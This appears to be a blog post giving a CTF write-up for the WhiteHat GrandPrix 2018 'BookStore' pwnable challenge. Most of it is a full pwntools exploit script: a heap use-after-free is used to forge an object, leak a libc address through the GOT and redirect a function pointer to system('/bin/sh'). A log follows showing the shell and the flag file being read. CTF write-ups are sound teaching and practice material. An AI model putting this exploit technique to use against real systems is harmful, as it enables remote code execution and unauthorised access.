WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)

2018. 8. 20. 03:24·CTF/2018


Category : pwnable


nc pwn02.grandprix.whitehatvn.com 8005

file: material.grandprix.whitehatvn.com/pwn02

libc-2.27.so

BookStore



Summary : simple uaf, libc-2.27.so, tcache poisoning





2 ways to exploit


(1) simple uaf

#!/usr/bin/python

from pwn import *

def cmd_add(title, brief_size, brief, refer, best):
ru('Your choice')
sl('1')
ru('Title:')
sl(title)
ru('Enter brief size')
sl(str(brief_size))
ru('Enter brief:')
sl(brief)
ru('Reference book title:')
sl(refer)
ru('Best Selling? (Y/N)')
sl('y' if best else 'n')
ru('a book is added.')

def cmd_edit(old_title, new_title, brief_size, brief, best):
ru('Your choice')
sl('2')
ru('Old title:')
sl(old_title)
ru('New title:')
sl(old_title)
ru('Enter brief size')
sl(str(brief_size))
ru('Enter brief:')
sl(brief)
ru('Best Selling? (Y/N)')
sl('y' if best else 'n')
ru('Entry is edited.')

def cmd_remove(title):
ru('Your choice')
sl('3')
ru('Title:')
sl(title)
ru('Entry is removed.')

def cmd_list():
ru('Your choice')
sl('4')
ru('|----+-------------------------------+-----------------------------------------|\n')
ru('|----+-------------------------------+-----------------------------------------|\n')
res = []
while 1:
line = rl()
if line == '|----+-------------------------------+-----------------------------------------|\n':
break
else:
line = line.split('|')
res.append(line[3].strip())
return res

offset_puts = 0x809c0
offset_system = 0x4f440
offset_sh = 0x13b67
puts_got = 0x601F80
printf_got = 0x601FA0
puts_plt = 0x400908
strdup_plt = 0x400980

#s = process('./BookStore')
s = remote('pwn02.grandprix.whitehatvn.com',8005)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

cmd_add('title1', 0x20, 'brief', '', False)
cmd_add('title2', 0x10, 'brief', '', True)
cmd_add('not used', 0x60, 'kkkk', '', False) # prevent consolidate
cmd_remove('title2')
cmd_edit('title2', 'title2', 5, 'aaa', True) # free brief, obj2
fake_obj = ''
fake_obj += p64(0) # next
fake_obj += p64(puts_got) # brief
fake_obj += 'title2'.ljust(0x20, '\x00') # title
fake_obj += chr(0)
fake_obj += chr(0)
fake_obj += p64(strdup_plt)[:-1]
cmd_edit('title1', 'title1', 0x3a, fake_obj, False)

libc_base = u64(cmd_list()[1].ljust(8, '\x00')) - offset_puts
libc_system = libc_base + offset_system
libc_sh = libc_base + offset_sh
print hex(libc_base)

fake_obj = ''
fake_obj += p64(0) # next
fake_obj += p64(libc_sh) # brief
fake_obj += 'title2'.ljust(0x20, '\x00') # title
fake_obj += chr(0)
fake_obj += chr(0)
fake_obj += p64(libc_system)[:-1]
cmd_edit('title1', 'title1', 0x3a, fake_obj, False)

ru('Your choice')
sl('4')

s.interactive()
s.close()

그러고보니 세 번째 청크는 필요가 없었나

$ python ex.py
[+] Opening connection to pwn02.grandprix.whitehatvn.com on port 8005: Done
0x7f0c0cbec000
[*] Switching to interactive mode
:$
$
|----+-------------------------------+-----------------------------------------|
| ID| Title|Brief
|----+-------------------------------+-----------------------------------------|
|0001| title1|
$
$ id
uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore)
$ cat /home/bookstore/flag.txt
WhiteHat{????????????????????????????}



(2) tcache poisoning


TCache (per-thread cache), a new feature, was introduced in malloc (glibc-2.26 ~ )


https://dangokyo.me/2018/01/16/extra-heap-exploitation-tcache-and-potential-exploitation/

http://pwn3r.tistory.com/entry/tcache-note



추가예정

저작자표시 (새창열림)

'CTF > 2018' 카테고리의 다른 글

WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)  (0) 2018.08.24
SECCON 2017 QUAL - secure_keymanager  (0) 2018.08.22
WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)  (0) 2018.08.19
WhiteHat GrandPrix 2018 QUAL - web03  (0) 2018.08.19
CODEBLUE 2018 QUAL - game revenge (Exploit only)  (0) 2018.08.03
'CTF/2018' 카테고리의 다른 글
  • WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)
  • SECCON 2017 QUAL - secure_keymanager
  • WhiteHat GrandPrix 2018 QUAL - pwn01 (giftshop)
  • WhiteHat GrandPrix 2018 QUAL - web03
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw
    vuln
    gnuboard
    후기
    POC
    HUST2011
    pwnables
    web
    정보보호올림피아드
    power of community
    HUST
    csaw ctf
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
WhiteHat GrandPrix 2018 QUAL - pwn02 (BookStore)
상단으로

티스토리툴바